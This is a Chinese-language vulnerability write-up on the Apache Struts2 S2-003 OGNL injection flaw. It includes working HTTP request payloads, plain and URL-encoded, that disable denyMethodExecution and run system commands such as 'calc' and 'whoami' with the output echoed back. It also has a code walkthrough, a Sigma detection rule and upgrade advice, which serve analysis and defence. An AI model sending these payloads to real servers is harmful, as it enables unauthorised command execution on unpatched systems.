ATT&CK-st003漏洞之漏洞分析與利用
STATEMENT
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
前言
原理:
XWork ParametersInterceptor 攔截器中對參數解析過濾不嚴,導致可以通過 ognl 表達式操作值棧中 map/context 棧的對象來執行方法,進而導致命令執行。
漏洞影響范圍:
Struts 2.0.0 - Struts 2.1.8.1
環境搭建
下載 st-003 的漏洞環境,idea打開運行即可。
payload如下:
## 系統命令執行/HelloWorld.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)## 回顯/HelloWorld.action?(a)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)&(b)(\u0023ret\u003d@java.lang.Runtime@getRuntime().exec('whoami'))&(c)(\u0023dis\u003dnew\u0020java.io.BufferedReader(new\u0020java.io.InputStreamReader(\u0023ret.getInputStream())))&(d)(\u0023res\u003dnew\u0020char[20000])&(e)(\u0023dis.read(\u0023res))&(f)(\u0023writer\u003d\u0023context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())&(g)(\u0023writer.println(new\u0020java.lang.String(\u0023res)))&(h)(\u0023writer.flush())&(i)(\u0023writer.close())
對于高版本tomcat需要進行url編碼,如:\、/、[、]等字符接收到后會返回400狀態碼
## 系統命令執行/HelloWorld.action?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5C%27calc%5C%27%29%27%29%28bla%29%28bla%29## 回顯/HelloWorld.action?(a)(%5Cu0023context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%5Cu003dfalse)&(b)(%5Cu0023ret%5Cu003d%40java.lang.Runtime%40getRuntime().exec('whoami'))&(c)(%5Cu0023dis%5Cu003dnew%5Cu0020java.io.BufferedReader(new%5Cu0020java.io.InputStreamReader(%5Cu0023ret.getInputStream())))&(d)(%5Cu0023res%5Cu003dnew%5Cu0020char%5B20000%5D)&(e)(%5Cu0023dis.read(%5Cu0023res))&(f)(%5Cu0023writer%5Cu003d%5Cu0023context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())&(g)(%5Cu0023writer.println(new%5Cu0020java.lang.String(%5Cu0023res)))&(h)(%5Cu0023writer.flush())&(i)(%5Cu0023writer.close())
代碼分析
第一步:final Map parameters = ac.getParameters() 獲取Get請求的key和value時,如果參數包含# ,則會發生數據折斷。
具體如下:
請求地址:
/HelloWorld.action?('# context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('# myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla),發生截斷后只保留(' 。

請求地址:
/HelloWorld.action?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29=123456789&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5C%27calc%5C%27%29%27%29%28bla%29%28bla%29=123456('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)
第二步:發現acceptableName方法其實是對key進行過濾,這里通過簡單的正則表達式[\p{Graph}&&[^,# :=]]*來檢測,如果包含^,=、,、# 、:等非法字符,則會返回false。


這里payload通過unicode編碼后可以進行繞過,往下走則將參數寫入進OgnlValueStack中,跟進的話可以看到是調用Ognl.setValue方法,其中compile方法會對參數編碼的內容轉換為ascii碼,但unicode編碼具體位置轉化還需要對compile方法繼續深入跟蹤。

這里始終無法找到unicode解碼的,因為setValue方法tree參數是對象,在執行setValue方法時,tree對象已經執行啦。

對compile方法進行斷點調試。



第三步:在攔截器方法中,先進行初始化,包括設置DenyMethodExecution為true設置為不允許方法執行,此時沒有辦法執行惡意代碼,只有將其設置為false才可進行后續利用 。
其中,OgnlUtil.setValue方法,context參數,實現 DenyMethodExecution執行參數的修改。

第四步:
OgnlUtil.setValue方法修改完DenyMethodExecution值為 false 后,惡意代碼就可以利用成功啦。

測試用例
使用工具:Struts2漏洞檢查工具2019版 V2.3.exe進行漏洞驗證,具體如圖:

檢測規則
Sigma檢測規則如下:
title: st-003遠程代碼執行漏洞description: 檢測st-003遠程代碼執行漏洞status: testdate: 2022/04/02author: bigsealogsource:category: webserverdetection:selection:c-uri|contains:- 'xwork.MethodAccessor.denyMethodExecution'- '\u0023context'- 'java.lang.Runtime'- 'java.lang.ProcessBuilder'condition: selectionfields:- c-ip- c-dnstags:- attack.t1190- attack.initial_access- cve.2008.6504level: Critical
緩解措施
官方建議Struts升級至 2.2.1版本,或更高版本。
參考鏈接
https://xz.aliyun.com/t/2323
https://cwiki.apache.org/confluence/display/WW/S2-003